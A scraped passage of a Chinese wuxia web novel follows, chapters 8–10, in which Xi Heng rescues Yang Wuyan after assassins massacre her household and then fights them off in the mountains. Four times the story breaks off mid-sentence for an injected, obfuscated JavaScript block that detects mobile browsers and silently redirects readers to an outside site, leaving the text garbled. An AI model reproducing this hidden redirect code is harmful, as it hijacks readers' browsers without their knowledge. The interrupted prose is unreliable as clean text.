待到那人背影远去,溯溪才掀开了车帘,将杨晤言扶了出来:“姑娘何必动怒,为这么些人生气,不值得。”
杨晤言落地后回身,牵过奚恒的手,对溯溪道:“我当然知道不值得,只是这些人跟苍蝇一样赶不走,‘嗡嗡’地惹人心烦。”
槿乡镇就这么点大,两家人抬头不见低头见,偏偏谈邵宇还总是想装慈父,时不时派人来假惺惺地关怀一下,惹得她恶心。
“年幼时嫌我晦气,将我丢给外公,现在膝下一个孩子都没了倒是想起我这个便宜女儿。”
杨晤言带着奚恒一路前行,一脚迈过门槛:“看着他那道貌岸然的样子就心烦。”
问心阁位于槿乡镇西部,占地不大,前后分两院,阁楼两高一矮,错落而立,院中碧溪萦回,环抱珊瑚巨石。
奚恒随着杨晤言步入回廊,打量着外边景色,发现此地山石瑰丽,花木奇诡,与寻常富贵人家的园景大有不同。
“问心阁是外公我设计的,融合了阵法机关。”
杨晤言顺手拨弄了下竹帘,打趣奚恒道:“一会可别乱走,小心迷路。”
奚恒发现二人越走越深:“我们这是去……”
“你忘啦?”杨晤言回头看了眼奚恒半干的衣襟,“我让人备了汤浴。”
奚恒点了点头,又低头看了眼自己的衣裳。
“姑娘不必担心。”一旁溯溪笑道,“已经让人备好衣物了。”
奚恒暗叹溯溪心细如发。
回廊曲折,二人说话间转了个向,顿时间柳暗花明,廊中潮气氤氲,一池汤泉映入眼帘。
奚恒以为只是过个热水澡,但没想到是这个汤浴。
是了,汤浴。
……
要是放在两个时辰前,奚恒是万万想不到自己会与面前人坦诚相对的。
可是现在,她沐浴完裹着棉布站在汤池边,看着池中闭目养神的杨晤言神色复杂。
“愣着做什么?”杨晤言抬手示意奚恒下来,“莫不是女子你也害羞?”
奚恒叹息一声,长腿一迈,还是撤了棉布浸入池中。
也罢,也罢……
可杨晤言却注意到她的肩背,霎时惊呼一声。
奚恒衣襟覆盖下的皮肤白皙,可肩上却有一条极长的疤,那疤痕自锁骨外侧而起,一路延伸至蝴蝶骨,几乎横亘整个背部,瞧着煞是狰狞。
如此衬托下,奚恒胳膊上的几处陈年刀伤都显得清秀可爱了。
见了杨晤言的反应,奚恒这才回身往背上看去。
她哑然一笑,要不是这一遭,她都要忘了这疤了。
杨晤言抬手,隔空想要轻触却又硬生生收回手:“这是……”
“哦。”奚恒轻笑,“小时候被熊抓的。”
杨晤言瞪大了眼:“熊?”
“嗯。”奚恒靠着池边坐下,“之前走丢在山里,被熊撵着抓了一下。”
当年她偷偷跟着军队出京,不料到了续州迷了路,那时候年纪小,慌了神便往山上跑,一困就是十几天。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15956695|177629||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>杨晤言想起傅问渠同她说的,面前人的身世,顿时红了眼眶,似是感同身受。
她轻抚奚恒肩上,喃喃道:“你一定吃了很多苦……”
轻柔的指尖触到皮肤,奚恒顿时惊得一激灵,忙摇头道:“没有没有……都是自找的。”
此言不假,当初要不是她一意孤行离家出走,也不会阴阳差错进了狼牙山,然后又被老窦捡到,成了镖局学徒。
虽说那年命都差点丢山里,也有过数日的绝望,但她从不后悔。
再来一次,她还是会出京。
可杨晤言不知奚恒心里的这些小九九,见她洒脱反而更心疼,怜爱着理了理奚恒乌黑的发丝:“没事……都过去了。”
奚恒见她多愁善感的模样欲言又止,最终还是开口转移话题:“说起来……你没有兄弟姐妹,为何他们唤你三娘?”
杨晤言听了奚恒的疑问,顿时低下了头,声音有些沉闷:“非是没有,只不过……”
说到此处,她又是一叹:“也罢,从头和你讲吧。”
“你来的时候应当注意到了,这里人很少……”
杨晤言伏在池边,望着不远处道:“我同你说没有兄弟姊妹……其实不然,我连亲人都没有,应州杨氏只剩我一人了……”
奚恒低垂的眼睑顿时抬起,看向杨晤言的眼光略带讶异。
“杨氏历来一脉单传,到我外公那,就只剩母亲一个女儿了。”
杨晤言指尖轻轻摆荡,在水面惹出涟漪:“为了杨氏门楣,外公替母亲招婿入赘,也就招来了谈邵宇。”
提起谈邵宇,杨晤言的语气略带生硬:“他……他和母亲也过过一段不错的日子,接连诞下两个儿子……”
“可好景不长,母亲怀上我后,两个哥哥相继病故,而母亲也因为生我难产离开了……”
“他嫌我是煞星,要杀我,外公将我救了下来,带在身边抚养。可两年前,外公也离开了。”
“这里外太多人盯着杨氏家产了。”杨晤言看向奚恒道,“我需要一个亲人。”
奚恒动了动唇,没有回应。
杨晤言又道:“只是金银钱财那些身外之物也就罢了,左右杨家家产我花个十代也花不完。重要的是祖传的那些工艺图纸、药剂配方……我不愿招婿,更不想将杨家技艺送给谈邵宇,收养男子又会惹人非议,便只能出此下策。”
她道:“我需要一个姐妹,要武功高强,要心志坚定,要不怕死。”
匹夫无罪,怀璧其罪,这个道理她懂,自外公走后,北相那所谓的同宗便开始蠢蠢欲动,其中的阴谋她看得出来。
人人都垂涎杨氏这口肥肉。
奚恒沉默。
杨氏工艺天下闻名,杨槿生前门生更是遍布天下,不想如今竟会没落到这个地步。
见奚恒不语,杨晤言以为她是拒绝了,只叹道:“也罢,不愿意便算了……”
“我确实不能入杨氏族谱,杨氏那些工艺我也无心去学。”
奚恒忽然抬起头,认真道:“但你我如今既然认识了,便算朋友,往后若有难处,只管来云奎镖局找我,我定尽全力相助。”
杨晤言闻言一怔,璀然笑道:“好。”
“姑娘。”廊前溯溪捧着托盘靠近,“酉时了。”
杨晤言自水中起身,接过纱布裹身。
“火龙节游街,很有意思的。”她回头对奚恒笑道,“要不要一起去看看?”
8. 溯溪
“轰——”
一阵轰鸣,随即热浪翻滚,巨龙张牙舞爪,喷出浓烟。
只听“砰——”一声鼓响,街上顿时万乐齐鸣,人潮簇拥着巨型花车前行起来。
沿街红绸被灯笼照得噌亮,层叠交错,为夜幕添上一抹极重的色彩。
“这才刚开始。”
停机楼中,五层最高的包厢内,两名女子对坐。
杨晤言提着银壶倾斜,紫红的液体落入杯中,她道:“游街结束后有焰火,那才好看呢。”
槿乡镇焰火向来天下一绝,每到这火龙节,各家匠人都卯足了劲想争头筹,到后半夜单曲江上空百家争鸣,宛如仙人斗法,那场面才叫壮观。
奚恒摩挲着袖口处的衣料,微微出神。
不过见面两个时辰,溯溪竟将自己身形尺寸估得分毫不差,一身改良后的劲装低调奢华,就像量身定做的一样。
连版型款式都是她喜欢的那一类。
身形也就罢了,溯溪是怎么看出她偏好的?
“怎么了?”
见奚恒发呆,杨晤言将手中银杯推到她面前:“可是衣服不合心意?”
“就是太合心意了。”
奚恒回神,失笑道:“溯溪姑娘真是心如玲珑。”
“她是外公挑的人,自幼随我长大,虽说名为主仆,但她琴棋书画样样胜我,见过的先生无不称赞她的资质。”
“你是没听过她的箫声……当年在杨府坐客的国手也道她天赋极高。”杨晤言摇头,“让她跟着我是埋没了。”
“溯溪姑娘善箫?”
奚恒捧起面前的银杯,道:“我……有个朋友也爱这些,收藏了不少乐谱呢,说不定能引荐一二。”
杨晤言顿时笑道:“我不善乐,问心阁里也少有人能和她交流这些,说起来,我能与傅大夫结识也是因为溯溪与他同好。等她回来,你同她说,若能多一个人和她谈论这些,她定然高兴。”
奚恒点点头,抱着银杯啜饮一口。
紫红玉液入口,葡萄风味香甜,酒液清凉甘爽,回味醇香,余韵悠长,是难得的佳酿。
奚恒一愣,发现是酒后心下一叹,嗅了嗅酒香后又将杯子放下:“说起来……”
她问道:“既然溯溪姑娘这般聪慧,又与你一同长大,知根知底,为何不认她为义妹?”
这回换杨晤言定住了。
她抓着酒杯,半晌没说话。
直到外边鼓声再响,铜锣齐鸣,一束焰火窜入天际,惊得杨晤言一阵心悸。
她手一软,酒液撒了满身。
奚恒见状连忙取了手帕递过去。
酒液洒在胸前,在前襟晕开,将鹅黄的云织染的无法再看。
杨晤言攒着手帕擦拭,可琼浆玉液见了皮肤便粘稠如蜜,怎么擦也擦不干净。
她一向爱干净,此刻不禁皱起了眉头。
奚恒见状起身取了锦帕,沾了清水递过去。
“我从没想过这个问题。”杨晤言皱着眉道。
奚恒:“什么?”
“我心中将她和溯洄当作亲人……”
杨晤言抓着锦帕:“但仍记着主仆之别……是以从未考虑过这些。”
奚恒没想到会是这个答案。
“罢了,这衣裳没法看了。”
杨晤言不知怎的,有些心神不宁。
她放下帕子起身道:“先回去换一身……还能赶上江上焰会……溯溪这丫头,让她取个东西这么久不回来……”
奚恒觉着杨晤言状态不对,但也没多说什么,抓着刀起身跟上她。
因着舜华大会缘故,停机楼前建了擂台,此刻由官吏把守。
杨晤言不想跟这些人打交道,便带着奚恒从侧门离开了。
晚风潮闷,小巷内阴暗寂静,与前街的热闹形成鲜明对比。
杨晤言闷着头,出了巷子后直往问心阁方向走,一路眉头紧皱,不知在想些什么,就连路中的杂物都没注意到,一脚踢上去,被绊了个趔趄。
“小心。”
奚恒忙上前搀住了她。
杨晤言被这一下惊回了神,她扶着奚恒,心悸得厉害,冷汗从额角滚落。
“许是喝多了酒……”杨晤言声音颤抖,“我不知怎的,忽然这般心慌……”
奚恒皱了眉,扶着杨晤言环顾四周。
远处天际被灯火映得发红,铜鼓人声在三条街外鼎沸。
而她们脚下的长街却空无一人。
“呼——”
又是一阵风声拂过,奚恒后颈寒毛都立了起来。
这里不对劲。
“先回去。”奚恒抓着杨晤言加快脚步。
“沙沙……”
不知谁家的箩筐滚落,骨碌碌顺着风往前翻滚,在阴影中尾随二人。
杨晤言被这一动静吓得频频回顾,脚下步子迈得越发快,几乎是小跑一样回到了问心阁。
“咚咚咚!”
问心阁大门紧闭,杨晤言心慌,叩门的手都在颤抖。
“秦叔,开开门。”
可暗红的门扉密不透风,无人回应杨晤言。
奚恒抬起头。
檐下灯笼明亮,将二人身影投在阶上,问心阁匾额宽大,倾斜着俯瞰二人。
她后退几步,往高墙之后望去。
“今日是怎么回事……”
杨晤言见无人应她,来到大门侧边浮雕处。
墙上两夜鹭比翼齐飞,爪下池塘生动,三两圆叶亭亭玉立,一朵莲花浮在水面,石莲绽开,莲心九子,明珠镶嵌其上。
杨晤言扣下一颗珍珠,拔下鬓后珠钗,对着空缺处按了下去。
“咔嚓!”
珠上浮纹与凹槽契合,莲座顿时陷了下去。
杨晤言手上转动,随机门后便传来机关摩擦的声音。
暗夜无声,问心阁内一丝光亮也没有。
奚恒望着上方的天空沉默不语。
高门震动,“咯嚓”两声后又归于沉寂。
杨晤言皱眉,提着裙摆回到门前,手上用力。
大门纹丝不动,没开。
“溯溪!”杨晤言拍着门唤道,“怎么回事?今日怎将门锁了?”
动了机关还开不了门,只能是盘金锁启动了,这锁只有溯溪溯洄能开。
奚恒忽然抓住杨晤言拍门的手。
杨晤言回头看向奚恒:“怎么……”
奚恒鼻尖微动,嗅到一丝血腥气。
“先别出声。”她面色沉了下来,“我替你去看看。”
杨晤言张张嘴,要问些什么。
可奚恒已经放开她的手,足尖一点,踏了门前石狮飞身上墙。
“呼——”
她身影如风,三两下无声落在门前檐上。
院内无风,草木枝桠肆意生长着,如爪牙遮掩。
底下一盏灯也没有,深渊一般将夜空下的最后一点光吞噬。
奚恒蹲下身,什么也看不清。
“咻——”
就在她准备下去一探究竟时,江上一束焰火窜进了云霄。
“轰!”
一声雷鸣似的乍响,浅金色烟花砰然展开,顿时槿乡镇上空亮如白昼,将问心阁内情形照亮。
奚恒看着影壁下堆叠的十几具残尸,膝下一软,跪了
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15956696|177629||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
下去。
“轰——”
又是一声乍响,雷鸣滚滚,一朵又一朵焰火转瞬即逝。
问心阁内忽明忽暗,清浅的溪流被血染红,奚恒看见了一角青衣。
“轰——”
大门后,溯溪手握匕首躺在血泊中,喉间破口深可见骨,眼眸一瞬不瞬地望向檐上的奚恒,死不瞑目。
“啊!”
杨晤言一声惊叫。
奚恒回头。
十几名黑衣人不知何事现出阴影,将杨晤言团团围住。
奚恒看向他们最后那个熟悉的人影。
高个女人蒙着面,可奚恒认得她的眼睛:“又是你。”
客修昀仰起头,看着奚恒的眼睛里没有一丝温度。
“上。”额衍语低沉,“小贼杀了,杨氏女要活的。”
“啊!”
黑衣人刀刃抽出,杨晤言吓得面色惨白,回身连连拍击大门:“快开门!溯溪!快开门!”
可哪有人回应她。
杨晤言像是反应过来什么,她浑身被冷汗浸湿,收回手,不敢置信地望向檐上:“溯溪……”
片刻之间,黑衣人刀锋逼近,奚恒飞身落地,瞬息之内抽刀旋身。
“锵!”
兵刃相接,冷白的的雪光掠过,将众人逼退。
“走。”
奚恒一把抓过杨晤言的手,借着空隙逃离。
可黑衣人哪会如愿放人?
尖刀为阵,步步紧逼。
其中几人飞身而起,冷刃下垂,向奚恒扎来。
霎时天罗地网,将二人困作囚鸟。
“铛!铛!”
刀刃挥舞,奚恒连连格挡,将杨晤言护在身后。
客修昀见状,腰间弯刀抽出,飞身而起,招式狠辣、角度刁钻,直取奚恒喉咙。
奚恒接连两记鞭腿将离杨晤言最近的黑衣人踹飞,而后刀架肩后格住后方兵刃。
“呼——”
她扶着杨晤言侧身躲过客修昀刀锋,似是露出破绽。
“哼……”
客修昀冷笑,弯刀一旋,如灵蛇转向,缠上奚恒颈间。
可也就在这瞬息之间,奚恒骤然收力。
她身形一矮,抽回背上长刀。
她背后黑衣人收不住势,刀锋顺着惯性往前,擦着奚恒背脊直击客修昀面部。
“哐当!”
双方同时撤力,可仍旧躲之不及,客修昀弯刀削铁如泥,切豆腐般削过面前三人喉咙。
血液喷薄而出,溅了客修昀一脸。
她顿时震怒,刀刃下卷,可原地哪还有奚恒的身影?
奚恒一把将吓丢魂的杨晤言扛上肩,脚下轻点,运气飞出了重围。
在黑衣人反应过来时,她已疾步往西奔去。
客修昀一时失手,咬牙切齿道:“追。”
黑夜无声,头顶焰火仍然绚烂,前街江岸仍旧锣鼓喧天,槿乡镇西部却静得可怕。
问心阁内不知何时亮了起来。
熊熊烈火包裹楼台,青竹草木尽数化碳,火舌肆意翻卷,要吞噬一切。
自忠义塔远眺,可见无尽黑渊中唯抱一团红焰。
可所有人对这场灾祸都一无所知。
眼前火龙升天,声势浩大,足以掩盖一切。
“殿下。”
停机楼内,聂云回身合上门道:“那些人动了。”
重帷曼妙,将人影遮掩。
江平垂眼抚过身前长琴:“知道了。”
他身后,红木桌案上铜钱静躺。
江平指下微动,银白的弦震颤,琴曲低沉、哀婉不息。
9. 不群
琴音阵阵回旋楼中,此刻厢房之外,中年人抬起的手又放下。
待琴声停息,那人才将门叩响。
“笃。笃。”
聂云闻声走过去将门拉开,而后侧身让过。
中年人垂首而入,隔着纱帘向里边人跪下请安道:“卑职梁劭,见过九殿下。”
“起来吧。”
江平起身,来到红木桌前,将台面上的铜钱一粒粒拾起:“舜华会的事,都备好了?”
“殿下放心,万无一失。”梁劭起身道,“那游述师从名剑项越轻,资质极高,三代之内没有敌手。”
“武林上的事我知之甚少,但也明白一个道理。”江平道,“叫人外有人,天外有天……只他一人,可保万全?”
梁劭会意,顿了顿,还是笃定道:“殿下放心,游述出身江湖名门,说是打娘胎里就开始习剑也不为过,自及冠后剑挑各大门派,至今未尝败绩,两年前就连其师项越轻也不敌他。武林人皆称其少年宗师,已有当年张不群遗风。”
一旁的聂云抬眸,神色略带讶异。
前武林盟主张不群,一个从名不见经传的伙夫到剑挑十大门一统江湖各势力的奇人。
当然此人最出名的并非是这些江湖往事……
二十年前北相烈帝南征,国师代月明挂帅,带着太衍军一路南下,兵临上顼。
国将危矣,正是此人带了百十名江湖人士用血肉之躯将敌军拦在回禹峰前,才替南齐争得了喘息之机,等来了援军。
具当年记载,那百名英雄三天内连破北相十营,而张不群据说一人便斩了上千敌军。
回禹峰之战后,百名英雄一齐人间蒸发,从此南齐武林人才凋零。
有人说他们都死在了战场上,有人说他们早已退隐山林,也有人说那百人其实根本不存在,是老天爷天降神兵,用南齐几十年气运换他们来救国。
说什么的都有,但张不群的战绩摆在史书上,几十年来从未有人敢与他相较。而那年之后,南齐武林衰落,江湖上也再也没有盟主之说。
这游述若说能得张不群遗风,那想来是有两把刷子的。
江平却不为所动:“心中有数便好,舜华大会不容有失,父皇不想让此物落在旁人手中。”
“是。”梁劭应下后又迟疑,“只是……”
江平抬眸,透过重重纱幕看向他。
梁劭道:“只是如今万事俱备,云奎镖局的人却还没到,卑职看槿乡镇统府的意思,是要彩头到了直送谈大人手上。”
“无妨。”
江平眉眼垂下,指尖拨弄掌中铜钱:“武会照常办,云奎的人这几日不会现身。”
梁劭眼神惊讶:“那若彩头没到……”
虽说云奎镖局从不失手,但这回杨家彩头到底不一样。
“哗……”
铜板被洒在桌面,碰撞着翻滚倒下。
江平手抚卦爻:“会到的。”
梁劭见江平笃定,抿了抿唇,不再多言,只多几句问安后退下了。
待梁劭走后,室内又静下。
聂云合上门,回过头道:“下面的人来报,云奎那个镖师跟在杨氏女身边。”
“嗯。”
江平仍旧没有太多表情,似是漠不关心。
聂云又道:“需要出手吗?”
“不必。”
江平抬手,铜板再落又生一爻:“确保彩头和杨晤言不落进那些人手里便可。”
满城焰火不息,槿乡镇东灯火通明,锣鼓喧天直达天际。
而此刻,镇西又是另一幅情景。
城外,拜月山。
两少女拖着手疾行于山道,其中一人已力竭。
“不……不行了……”
杨晤言脸上已经说不清是泪水还是汗水,她喘着粗气往下倒去,只觉着喉咙肺管里风如刀割:“我跑不动了……”
“我背你。”
奚恒抓着刀,一把将杨晤言甩在背上,往山上跑去。
杨晤言此刻连拒绝的力气都没有,只能哭着往后看:“他们到底是什么人……”
“北相人。”
奚恒此刻已经冷静许多,带着杨晤言往小路上钻。
“北相人……”
杨晤言茫然,又问道:“北相人为何要杀我?”
奚恒没有回答,只踩着碎石往山上飞掠。
“轰——”
侧方巨石忽然坍塌,朝二人砸下。
奚恒心下一惊,带着杨晤言几个躲闪。
可终究背上背了一个人,她的动作慢了许多。
待踉跄着与巨石擦肩而过时,杨晤言圈着奚恒脖子的手骤然收紧。
“他们要追上了。”
……
夜色无边,天际只有几抹微云飘荡,一轮弯月将山中情形照得惨淡。
客修昀带人一路追逐,见奚恒跑上山路后冷哼一声:“找死。”
她下令兵分三路,合围二人。
可奚恒自进山后便如鱼入大海,再无踪影。
客修昀令人搜捕,也寻不到半点踪迹。
“总归是在山里。”客修昀似是半点也不慌,“让后山的人也出来,将此地围住。”
两个女娃而已,就算那云奎镖师武力高强,不怕这山间野兽,那杨氏女金尊玉贵长大,也能挨得住山里的瘴气?
客修昀收了刀,撤下面巾,徐徐抹去眉间血迹:“我们等。”
正如客修昀所料,此刻山中一处石洞内,杨晤言唇都冷得发白,紧紧靠在奚恒身上取暖。
她眼眸一瞬不瞬盯着洞外:“他们何时能走……”
都道灯下黑,奚恒自入山后便没往深处去,只在山腰处寻了个地势高的地方安身,借着黑夜与周遭巨树,此地倒也隐秘,还能正好看见客修昀他们的动向。
春衫轻薄,杨晤言又一向贪凉,只换了一身云织襦裙,方才在停机楼里不见风倒也还好,只是此刻山中雾气弥漫,方才逃命又出了一身的汗,衣料紧贴在皮肤上,此刻被风一吹,冷得她直打哆嗦。
奚恒见状眉心紧锁,她抬手摸了摸杨晤言额头。
怀中人浑身冰凉,显然有些失温了。
一会山中还有瘴气,杨晤言这身体情况,撑不了多久。
奚恒看了眼底下神情自若的客修昀,明白了她的用意。
这是想将她们耗死在山上。
杨晤言想起溯溪他们,开口问道:“对了,你方才在问心阁……”
奚恒抬手,止住杨晤言话头,挥刀将肩上装饰用的披风割下
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15956697|177629||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。
“不能这么耗下去。”她将锦布牢牢裹在杨晤言周身,“你在这等我。”
……
山中寂静如水,夜空上三两浮云西挪,堪堪遮住明月一角,山中本不明亮的光影又黯淡几分。
客修昀坐在石上,悠然地把玩着手中弯刀,显然耐性十足。
“找到了!”
林中黑影忽动,顿时便被人发现。
奚恒穿梭林中,形如鬼魅,瞬息间便绕至那呼喝的人身后,抬手便锁住了他的脖子。
“咔!”
其他的黑衣人立时围了过来。
奚恒抬起头,与客修昀遥遥对视。
她周围,黑衣人围了数圈,人数竟比方才在问心阁前还要多。
“咚!”
奚恒站起身,松手将尸体扔了下去。
她看了眼周围,讽刺一笑:“知道的说这是南齐境内,不知道的还以为这是贵国的大本营。”
远处洞中,杨晤言顺着月色望去,霎时脸色便白得不能再白。
此刻以奚恒为圆心,里外围了几十人,各个手执刀兵,严阵以待。
槿乡镇内怎么会有这么多北相人?
客修昀懂一些齐语,自然听出了奚恒的讽刺:“将彩头和杨氏女交出来,饶你不死。”
树木间隙之中月色幽微。
银白的光落在奚恒肩上。
“好啊。”
她身后,长刀缓缓抽出:“那你来拿。”
客修昀深吸口气,心中暗道麻烦,抬手就抽刀往奚恒喉间割去。
奚恒足尖点地,后仰躲开面上一刀,手中长刀翻转,点地借力,她一个回旋腿便甩上客修昀面部。
“砰!”
奚恒腿上力道极大,客修昀虽反应过来抬手格挡,但仍被踢得连撤数步。
可奚恒根本不给她喘息之机,刀锋顺势而出,横扫一圈后又径直劈下。
客修昀连连闪躲,手中弯刀扭转,欲绞住奚恒手中刀刃。
她额上冷汗渗出,大喝一声:“还不快上!”
周围人顿时冲了上来。
奚恒面不改色,吐息运气,内力倾出,手中刀刃拧转,瞬间便震碎了弯刀。
“咔嚓!”
银月弯刀碎裂一地,客修昀大惊失色,身形下仰,往后掠去。
可奚恒哪里会给她机会?冷刃下落,势如雷霆劈向客修昀头颅。
“问心阁的人,是你们杀的吧……”
“哐!”
刹那间电光火石,客修昀拼尽全力身往右拧。
“嗤——”
滚烫的血液溅上奚恒眉眼,刀锋砸向地面,削去了面前人的左臂。
“啊——”
惨叫声响彻山腰。
奚恒抽刀,死死负住后背来的刀锋。
天边流云轻移,月光再次落下。
奚恒轻喝一声,顷刻内息运转,她回身刀刃斜出,冷光划过林中。
霎那间那数柄长刀被一齐斩断。
月色隐约,奚恒浑身是血,手中长刀泛着寒光,宛若地底阎罗上山讨命。
那几名北相杀手被震慑着齐齐后退,眼神却都锁向面前人的眉眼。
黑暗中,女子一双眼睛幽绿,被月光映得发亮。
10. 金兰
“怪物……”
杀手们被奚恒的模样震得连连后撤。
可奚恒并不打算放过他们,刀尖血滴落地时,她提气掠向那几名手执断刀的人。
周围人见状合成一阵,冷刃首尾相接,欲将奚恒绞死阵中。
奚恒躲也不躲,刀锋径直扫向面前敌人。
“嗤!”
钢刃过血,鲜红飞了满身。
周遭刀阵逼近后背,奚恒飞身而起,脚踏兵刃翻出圈外。
“呼——”
奚恒吐息,经脉血液流速加快,神思却越发清明。
山风拂过,树叶哗啦声响,掩盖她的声息。
月隐云后,山中再次陷入黑暗。
奚恒消失了。
杀手们抓着刀,皆竖着耳朵,神情警惕地环顾周遭。
“沙沙……”
黑暗的环境让他们听觉更加灵敏。
树梢声响轻微,却像只鬼爪,抓着他们紧绷的心弦来回晃动。
“呼——”
又是一阵风声。
其中一名杀手额角渗出冷汗,握着刀的手太过用力而无意识颤抖。
夜静得可怕,月光落下一线,似琴弦穿过林间。
“呼——”
耳后一声风轻微,那人却听见了自己的心跳声。
他后颈寒毛倒竖,几乎是出于动物的本能回身劈下一刀。
“啊!”
同伴的惨叫声响起,那人顿时惊慌失措,松开刀柄后撤。
可还没退上半步,他便觉后颈一凉。
刀锋点在了脖子上。
“嗤——”
还不及他出声,刀刃便已穿出喉咙,奚恒的脸再次浮现在月光之中。
尸体咚一声倒地,碾碎一地落叶枯草。
流云漂移,明月再次露出全貌,将林间情形暴露。
满地的血迹几乎凝成溪流,杀手欲再围上奚恒,却惊觉同伴已死了大半。
他们不约而同打了个冷颤,刀尖打着颤指向奚恒,银光闪烁,映出青翠的眼瞳,这些人终于开始害怕。
“撤。”
……
夜越来越深,月藏于山巅,杨晤言再也看不清山腰处的情形。
她紧裹着奚恒留下的披风,强忍冷意,闭上眼双手合十压在心口,嘴唇都在颤抖。
时间走漏得极慢,杨晤言泪水风干在脸颊,声线颤抖着低喃:“一定能过去……一定能过去的……”
夜越来越静,周围除了树叶摩擦声什么都没有,奚恒迟迟不归,杨晤言睁开眼,看着眼前无尽的黑暗陷入绝望。
他们那么多人,如果奚恒死在那些人刀下了怎么办?她该怎么办?还有问心阁,溯溪为什么不开门?是不是她们……
“咔嚓……”
洞外树枝被踩断,紧接着一阵细细簌簌声响。
杨晤言顿如惊弓之鸟,瑟缩着往石洞深处躲去。
极浓重的血腥气传来,杨晤言捂着唇浑身颤抖,不敢出声。
奚恒见洞中缩成一团的身影,心下一叹。
刀刃擦过袖口,她温声道:“是我,别怕。”
杨晤言心弦彻底绷断,爬起来就往奚恒身上扑去,紧紧抱着她哽咽。
“他们走了,没事了……”
奚恒心事重重,轻拍着怀中人肩膀以示宽慰:“你不能在山里过夜,我们得快些离开。”
眼下两点不容乐观,其一便是杨晤言的身体情况,得尽快找个地方安置。
其二便是……
奚恒眼神暗了暗,带着杨晤言出了石洞。
问心阁前围追堵截的也就十来人,可方才围着她的少说有四十人。
他们能这么快会合在一起,只能说明槿乡镇内北相人远比她想象的多,而且他们估计就守在这附近。
敌人随时会再来,而奚恒不知他们的具体人数,必须尽快带着杨晤言转移。
“嗯。”
杨晤言抬手擦去脸上的泪,跟上奚恒的脚步:“我们去报官。”
奚恒脚步顿了顿,而后踩着石头下坡后回身接过杨晤言:“不能报官。”
“不能报官?”杨晤言茫然,“为什么?这些都是北相人……”
话说到这里,她顿时脸一白。
是了,北相人。
这么多北相人在槿乡镇追杀她,官府却毫无所觉。
能是因为什么呢?
奚恒道:“从停机楼到问心阁,再到一路跑到城外,中途一个闲人都没遇到。”
纵是有火龙节,整个镇西也不可能一个人也没有,这是被清场了。
有能力在槿乡镇内做这事的能是谁呢?北相人再狠辣也调不动南齐的官府。
“他要杀我?”
杨晤言脸上彻底没了血色,她身子发软,骤然往地上倒去:“他竟然要杀我?”
奚恒眼疾手快将她捞起。
“他是我爹啊……”
顷刻间,杨晤言已是泪流满面,她摇着头不敢置信:“他竟然让北相人来杀我?”
奚恒神情凝重,没有马上回答。
此事一没有证据,二不知内情,事关家国政事,以她如今的身份不便多言。
而且看杨晤言现下的状态,还是少说为好。
她牵起杨晤言道:“也许其中另有隐情,也不一定是他。”
可杨晤言像是被抽去了骨,她抓着奚恒手臂:“你方才在问心阁……可看到什么?”
奚恒身形一顿,没有回答。
顷刻间杨晤言已是泪如泉涌。
是了,那些人要杀她,又怎会放过溯溪她们?
她想起了那扇紧闭的门扉,心如刀绞。
“不……”
她捂着心口,抓着奚恒:“她们都没事的……对不对?”
面前人眼底最后的一点希冀在月光下颤抖,奚恒没有说话。
她忽然意识到那些是杨晤言在世上最后的亲人。
“啊——”
杨晤言崩溃。
她蜷缩起来,伏在奚恒身边,死死抓着她的衣袖:“你说啊……她们没事的……”
奚恒搀住杨晤言,面露不忍,却还是道:“我看见了溯溪……我想门是她锁的。”
眼前情势不容乐观,杨晤言若还停在此地哭喊,只怕会招来更大的麻烦。
杨晤言愣住,茫然地抬起头。
藏金锁只有她和溯溪溯洄能开,启动后问心阁便只能从内开启。
“我看她伤口,是自裁的……”奚恒反握住杨晤言的胳膊,“你应明白她的意思。”
溯溪用命将问心阁封死,就是不想杨晤言回去被抓到,她们
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15956698|177629||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
不能让那十几条性命白白牺牲。
“不行的……”
月光落下,霜雪似的光镀了二人满身。
杨晤言摇着头,满眼绝望:“我逃不掉的……”
